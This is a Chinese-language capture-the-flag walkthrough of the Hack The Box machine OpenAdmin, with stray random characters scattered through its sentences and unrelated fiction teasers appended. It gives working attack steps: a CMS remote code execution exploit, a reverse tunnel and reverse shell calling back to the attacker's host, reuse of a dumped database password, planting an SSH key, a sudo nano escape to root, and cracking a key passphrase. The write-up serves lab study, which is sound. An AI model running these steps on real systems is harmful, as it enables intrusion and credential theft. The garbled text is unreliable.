【HTB】OpenAdmin（cms rce义桂，webshell找筝，隧道連接，用戶橫向提權(quán)澡刹，sudo濫用：nano）

免責(zé)聲明

本文滲透的主機(jī)經(jīng)過合法授權(quán)呻征。本文使用的工具和方法僅限學(xué)習(xí)交流使用，請(qǐng)不要將文中使用的工具和滲透思路用于任何非法用途罢浇，對(duì)此產(chǎn)生的一切后果陆赋，本人不承擔(dān)任何責(zé)任，也不對(duì)造成的任何誤用或損害負(fù)責(zé)嚷闭。

服務(wù)探測(cè)

查看開啟端口

┌──(root??kali)-[~/htb/OpenAdmin]
└─# nmap -p- 10.10.10.171 --open               
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-23 07:25 EST
Nmap scan report for 10.10.10.171
Host is up (0.44s latency).
Not shown: 52367 closed ports, 13166 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 190.21 seconds

查看指定端口詳細(xì)信息

(root??kali)-[~/htb/OpenAdmin]
└─# nmap -sV -T4 -sC -A -O 10.10.10.171 -p 22,80
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-23 07:29 EST
Nmap scan report for 10.10.10.171
Host is up (0.37s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (98%), Linux 3.2 (98%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (98%), Linux 3.16 (97%), ASUS RT-N56U WAP (Linux 3.4) (96%), Asus RT-N10 router or AXIS 211A Network Camera (Linux 2.6) (94%), Linux 2.6.18 (94%), AXIS 211A Network Camera (Linux 2.6.20) (94%), Linux 2.6.16 (94%), Asus RT-AC66U router (Linux 2.6) (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   432.42 ms 10.10.14.1
2   440.73 ms 10.10.10.171

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.54 seconds

目錄爆破

┌──(root??kali)-[~/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://10.10.10.171 

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492

Output File: /root/dirsearch/reports/10.10.10.171/_21-12-23_07-30-54.txt

Error Log: /root/dirsearch/logs/errors-21-12-23_07-30-54.log

Target: http://10.10.10.171/

[07:31:03] Starting:   
[07:33:49] 200 -   11KB - /index.html                                       
[07:34:05] 301 -  312B  - /music  ->  http://10.10.10.171/music/             
[07:34:08] 301 -  310B  - /ona  ->  http://10.10.10.171/ona/

/ona/文件夾是一個(gè)叫openNetAdmin的cms攒岛，版本號(hào)是18.1.1

webshell

kali搜索這個(gè)cms的漏洞情況

┌──(root??kali)-[~/htb/OpenAdmin]
└─# searchsploit openNetAdmin 18.1.1
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)                                                                                                                     | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution                                                                                                                                      | php/webapps/47691.sh
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

存在一個(gè)rce漏洞，但是自帶的這個(gè)exp不太好用

在github上找到了這個(gè)exp

拿到webshell

┌──(root??kali)-[~/htb/OpenAdmin]
└─# python3 ona-rce.py exploit http://10.10.10.171/ona/
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] Connected Successfully!
sh$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

提權(quán)

查看本目錄下config/config.inc.php文件胞锰，其中有兩行

// Include the localized Database settings
$dbconffile = "{$base}/local/config/database_settings.inc.php";

表示包含了一個(gè)數(shù)據(jù)庫(kù)連接文件

全局搜索這個(gè)文件

find / -name database_settings.inc.php 2>/dev/null

定位文件路徑為

/opt/ona/www/local/config/database_settings.inc.php

查看文件內(nèi)容

sh$ cat /opt/ona/www/local/config/database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

得到一個(gè)數(shù)據(jù)庫(kù)密碼：n1nj4W4rri0R!灾锯。從/etc/passwd可知有兩個(gè)bash用戶jimmy和joanna

提權(quán)到j(luò)immy

逐一嘗試ssh登錄，成功登陸到j(luò)immy

┌──(root??kali)-[~/htb/OpenAdmin]
└─# ssh jimmy@10.10.10.171        
The authenticity of host '10.10.10.171 (10.10.10.171)' can't be established.
RSA key fingerprint is SHA256:0RZ0tIo79V3XctDFJP5dC6s9XskBzxmyXLwOWgnOQEo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.171' (RSA) to the list of known hosts.
jimmy@10.10.10.171's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Dec 23 12:59:42 UTC 2021

  System load:  0.01              Processes:             175
  Usage of /:   30.9% of 7.81GB   Users logged in:       0
  Memory usage: 10%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

39 packages can be updated.
11 updates are security updates.


Last login: Thu Jan  2 20:50:03 2020 from 10.10.14.3
jimmy@openadmin:~$

沒有權(quán)限進(jìn)入joanna的文件夾嗅榕，相信user.txt在joanna的home目錄下

查看網(wǎng)絡(luò)連接

jimmy@openadmin:/tmp$ netstat -ano|grep LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:52846         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp6       0      0 :::80                   :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::22                   :::*                    LISTEN      off (0.00/0/0)

留意有幾個(gè)網(wǎng)絡(luò)連接只監(jiān)聽了本地顺饮，3306是數(shù)據(jù)庫(kù)，53是dns凌那，這些都算正常兼雄。唯獨(dú)52846這個(gè)端口很陌生，因此非趁钡可疑赦肋。

隧道連接

把chisel傳到靶機(jī)

kali端：

./chisel server -p 8000 --reverse

靶機(jī)端：

./chisel client 10.10.14.3:8000 R:52846:localhost:52846

本地已經(jīng)可以監(jiān)聽到這個(gè)端口

┌──(root??kali)-[~/htb/OpenAdmin]
└─# netstat -nao|grep 52846                    
tcp6       0      0 :::52846                :::*                    LISTEN      off (0.00/0/0)

用nmap掃描一下這個(gè)端口的信息，發(fā)現(xiàn)是一個(gè)http服務(wù)

┌──(root??kali)-[~/htb/OpenAdmin]
└─# nmap -sV -T4 127.0.0.1 -p 52846        
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-23 08:48 EST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00021s latency).

PORT      STATE SERVICE VERSION
52846/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.19 seconds

打開http://localhost:52846/index.php是一個(gè)登陸頁面，我們不知道密碼和用戶名

回到靶機(jī)佃乘，查看apache的一個(gè)配置文件

jimmy@openadmin:~$ cat /etc/apache2/sites-enabled/internal.conf 
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

可以看到這個(gè)服務(wù)正是用戶joanna開啟

去到/var/www/internal

查看index.php,留意這幾行代碼囱井，可以看到用戶名是jimmy，密碼用sha512加密了

 if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }

把哈希密碼拿到啊這個(gè)網(wǎng)站解密趣避，得到：Revealed

現(xiàn)在用jimmy : Revealed登錄http://localhost:52846/index.php

拿到了joanna的ssh秘鑰

底下還有一行字：

Don't forget your "ninja" password

使用上門的私鑰庞呕，ssh無法登錄，提示需要密碼鹅巍，用john無法爆破千扶，可能是一個(gè)兔子洞。骆捧。

此時(shí)留意到main.php是可編輯的澎羞，而且執(zhí)行了一個(gè)系統(tǒng)函數(shù)shell_exec

嘗試修改一行代碼

$output = shell_exec('id');

頁面成功打印:

uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)

這樣就非常簡(jiǎn)單，我們使用以下payload敛苇，拿到一個(gè)反彈shell

橫向提權(quán)到j(luò)oanna

這里我試了好多payload都不能反彈shell妆绞，最好只好在github上找到這個(gè)php的reverse-shell

拿到j(luò)oanna的shell

┌──(root??kali)-[~/htb/OpenAdmin]
└─# nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.171] 41636
id
Linux openadmin 4.15.0-70-generic #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 15:37:07 up  3:14,  2 users,  load average: 0.01, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
jimmy    pts/1    10.10.14.3       14:37   14.00s  0.12s  0.12s -bash
jimmy    pts/2    10.10.14.3       13:34    1:50m  8.44s  8.38s ./chisel client 10.10.14.3:8000 R:52846:localhost:52846
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)
/bin/sh: 0: can't access tty; job control turned off
$ uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)
$ whoami
joanna

切換tty后，查看sudo特權(quán)枫攀，發(fā)現(xiàn)無法正常查看

joanna@openadmin:/$ sudo -l
sudo -l
sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted
sudo: error initializing audit plugin sudoers_audit

傳linpea到靶機(jī)發(fā)現(xiàn)有一個(gè)sudo特權(quán)的文件在/etc/sudoers.d/joanna

查看這個(gè)文件：

joanna@openadmin:/$ cat /etc/sudoers.d/joanna
cat /etc/sudoers.d/joanna
joanna ALL=(ALL) NOPASSWD:/bin/nano /opt/priv

日括饶。。来涨。

查了一下图焰，因?yàn)槲覀兪菑膚eb的反彈shell進(jìn)到系統(tǒng)的，在apache的這個(gè)文件里/etc/apache2/sites-enabled/internal.conf禁用了sudo

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

因此我們一直提示錯(cuò)誤蹦掐。

ssh

只好轉(zhuǎn)變思路技羔。

由于我們現(xiàn)在已經(jīng)是joanna的身份，可以編輯.ssh里的文件卧抗，把kali的id_rsa.public加入到j(luò)oanna的authorized_keys藤滥，就可以無密碼登錄joanna
這樣就可以跳過apache對(duì)sudo的限制

把id_rsa.public追加到authorized_keys

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXMYce9FPGn7FNt1MeNFTb2iTy917/1tzSKdRWnV4u2FmMUT85u92xUwpudizoAn10Bb7Y9r4813I3KjTzYO2OlJSCqQ4+PB+VI9/0dE67sInXsQJfdnXfguuA+oVzEU1QPCqCVuSt4pQaiXCeo0GmTiVZyVBNaJJoZCtNipqL/zyO5Avb6yfnxSYDusIPDuUWnJNBI9tE48MBDW0zDYdEajCddu2AjusHNNlS9nxgOqKulpsLM54/c2X5ttDp+DdYuQikc2Ju9MIDQE0og+W6QrtCF3FmKXMZxkU5OFTOmtfdg2U3OPoU1GKFOLks0tgglco9oDuO5qYHuD4/v7nRUtlTweCAOXDvGOItAB58uw2J8wINs6k/UrCL0or/tJ33vaoDFSI47WjRWNwEGNY+ESRjK1sbQFOdFGG2F4TvhWWv+mEEEKWtXlwBHYokIwRUzNy/s1cuMboUl6IqnorlCnLxazjx4/1VBm4Cu8j0cfa6VuzyiL+khSoz4RPG9Lc= root@kali" >> authorized_keys

ssh登錄到j(luò)oanna

┌──(root??kali)-[~]
└─# ssh joanna@10.10.10.171                                                                                                                                                                                    1 ?
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Dec 23 16:45:11 UTC 2021

  System load:  0.0               Processes:             204
  Usage of /:   31.1% of 7.81GB   Users logged in:       2
  Memory usage: 16%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

39 packages can be updated.
11 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Dec 23 16:34:27 2021 from 10.10.14.3
joanna@openadmin:~$ id
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)

現(xiàn)在我們已經(jīng)是ssh登錄進(jìn)來，不受apache配置限制社裆，查看sudo特權(quán)

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

提權(quán)到root

執(zhí)行：

sudo /bin/nano /opt/priv

進(jìn)入nano編輯頁面以后依次執(zhí)行以下兩行命令：

^R^X
reset; sh 1>&0 2>&0

成功提權(quán)到root

Command to execute: reset; sh 1>&0 2>&0#                                                                                                                                                                           
#  Get Help                                                                                              ^X Read File
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# cat /root/root.txt
{不告訴你}

總結(jié)

總的來說還是簡(jiǎn)單的靶機(jī)拙绊，就是比較繞，有幾次提權(quán)泳秀，要保持耐心标沪。

補(bǔ)充

關(guān)于main.php里的這一句

Don't forget your "ninja" password

意思是ssh私鑰密碼里包含了ninja的字樣，可以用下面命令導(dǎo)出一個(gè)所有包含ninja的字典

grep -i ninja /usr/share/wordlists/rockyou.txt > rockyou_ninja

然后再根據(jù)這個(gè)字典爆破私鑰嗜傅，是可以爆破出來的谨娜。我之前用完整的rockyou.txt需要等很長(zhǎng)的時(shí)間，我通常覺得爆個(gè)10分鐘如果還不出來那大概這條路是不通的（僅僅針對(duì)這些靶機(jī)磺陡，真實(shí)環(huán)境不屬此列）。

┌──(root??kali)-[~/htb/OpenAdmin]
└─# /usr/share/john/ssh2john.py id_rsa >rsacrack
                                                                                                                                                                                                                                            
┌──(root??kali)-[~/htb/OpenAdmin]
└─# john --wordlist=./rockyou_ninja rsacrack 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (id_rsa)
1g 0:00:00:00 DONE (2021-12-23 21:13) 50.00g/s 88250p/s 88250c/s 88250C/s *69flyingninjamonkeys..#1FLUFFYCOCKYNINJA
Session completed

根據(jù)密碼，可以用openssl還原一個(gè)沒有密碼的私鑰證書

openssl rsa -in id_rsa -out id_rsa_openadmin_joanna

現(xiàn)在就可以用id_rsa_openadmin_joanna無密碼登陸joanna的賬號(hào)

最后編輯于：2021.12.24 10:52:43

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者

人面猴
序言：七十年代末币他，一起剝皮案震驚了整個(gè)濱河市坞靶，隨后出現(xiàn)的幾起案子，更是在濱河造成了極大的恐慌蝴悉，老刑警劉巖彰阴，帶你破解...
沈念sama閱讀 217,509評(píng)論 6贊 504
死咒
序言：濱河連續(xù)發(fā)生了三起死亡事件，死亡現(xiàn)場(chǎng)離奇詭異拍冠，居然都是意外死亡尿这，警方通過查閱死者的電腦和手機(jī)，發(fā)現(xiàn)死者居然都...
沈念sama閱讀 92,806評(píng)論 3贊 394
救了他兩次的神仙讓他今天三更去死
文/潘曉璐我一進(jìn)店門庆杜，熙熙樓的掌柜王于貴愁眉苦臉地迎上來射众，“玉大人，你說我怎么就攤上這事晃财∵冻鳎” “怎么了？”我有些...
開封第一講書人閱讀 163,875評(píng)論 0贊 354
道士緝兇錄：失蹤的賣姜人
文/不壞的土叔我叫張陵断盛，是天一觀的道長(zhǎng)罗洗。經(jīng)常有香客問我，道長(zhǎng)钢猛，這世上最難降的妖魔是什么伙菜？我笑而不...
開封第一講書人閱讀 58,441評(píng)論 1贊 293
?港島之戀（遺憾婚禮）
正文為了忘掉前任，我火速辦了婚禮命迈，結(jié)果婚禮上贩绕，老公的妹妹穿的比我還像新娘。我一直安慰自己躺翻，他們只是感情好丧叽，可當(dāng)我...
茶點(diǎn)故事閱讀 67,488評(píng)論 6贊 392
惡毒庶女頂嫁案：這布局不是一般人想出來的
文/花漫我一把揭開白布。她就那樣靜靜地躺著公你，像睡著了一般踊淳。火紅的嫁衣襯著肌膚如雪。梳的紋絲不亂的頭發(fā)上陕靠，一...
開封第一講書人閱讀 51,365評(píng)論 1贊 302
城市分裂傳說
那天迂尝，我揣著相機(jī)與錄音，去河邊找鬼剪芥。笑死垄开，一個(gè)胖子當(dāng)著我的面吹牛，可吹牛的內(nèi)容都是我干的税肪。我是一名探鬼主播溉躲，決...
沈念sama閱讀 40,190評(píng)論 3贊 418
雙鴛鴦連環(huán)套：你想象不到人心有多黑
文/蒼蘭香墨我猛地睜開眼榜田，長(zhǎng)吁一口氣：“原來是場(chǎng)噩夢(mèng)啊……” “哼！你這毒婦竟也來了锻梳？” 一聲冷哼從身側(cè)響起箭券，我...
開封第一講書人閱讀 39,062評(píng)論 0贊 276
萬榮殺人案實(shí)錄
序言：老撾萬榮一對(duì)情侶失蹤，失蹤者是張志新（化名）和其女友劉穎疑枯，沒想到半個(gè)月后辩块，有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體，經(jīng)...
沈念sama閱讀 45,500評(píng)論 1贊 314
?護(hù)林員之死
正文獨(dú)居荒郊野嶺守林人離奇死亡荆永，尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛以下內(nèi)容為張勛視角年9月15日...
茶點(diǎn)故事閱讀 37,706評(píng)論 3贊 335
?白月光啟示錄
正文我和宋清朗相戀三年废亭，在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片具钥。...
茶點(diǎn)故事閱讀 39,834評(píng)論 1贊 347
活死人
序言：一個(gè)原本活蹦亂跳的男人離奇死亡豆村，死狀恐怖，靈堂內(nèi)的尸體忽然破棺而出氓拼，到底是詐尸還是另有隱情你画，我是刑警寧澤，帶...
沈念sama閱讀 35,559評(píng)論 5贊 345
?日本核電站爆炸內(nèi)幕
正文年R本政府宣布桃漾，位于F島的核電站坏匪，受9級(jí)特大地震影響，放射性物質(zhì)發(fā)生泄漏撬统。R本人自食惡果不足惜适滓，卻給世界環(huán)境...
茶點(diǎn)故事閱讀 41,167評(píng)論 3贊 328
男人毒藥：我在死后第九天來索命
文/蒙蒙一、第九天我趴在偏房一處隱蔽的房頂上張望恋追。院中可真熱鬧凭迹，春花似錦、人聲如沸苦囱。這莊子的主人今日做“春日...
開封第一講書人閱讀 31,779評(píng)論 0贊 22
一樁弒父案闹司，背后竟有這般陰謀
文/蒼蘭香墨我抬頭看了看天上的太陽嗤锉。三九已至榆苞，卻和暖如春，著一層夾襖步出監(jiān)牢的瞬間羹铅，已是汗流浹背蚀狰。一陣腳步聲響...
開封第一講書人閱讀 32,912評(píng)論 1贊 269
情欲美人皮
我被黑心中介騙來泰國(guó)打工，沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留职员，地道東北人麻蹋。一個(gè)月前我還...
沈念sama閱讀 47,958評(píng)論 2贊 370
代替公主和親
正文我出身青樓，卻偏偏與公主長(zhǎng)得像焊切，于是被迫代替她去往敵國(guó)和親扮授。傳聞我的和親對(duì)象是個(gè)殘疾皇子芳室，可洞房花燭夜當(dāng)晚...
茶點(diǎn)故事閱讀 44,779評(píng)論 2贊 354

【HTB】OpenAdmin（cms rce，webshell鲤看，隧道連接缘揪，用戶橫向提權(quán)，sudo濫用：nano）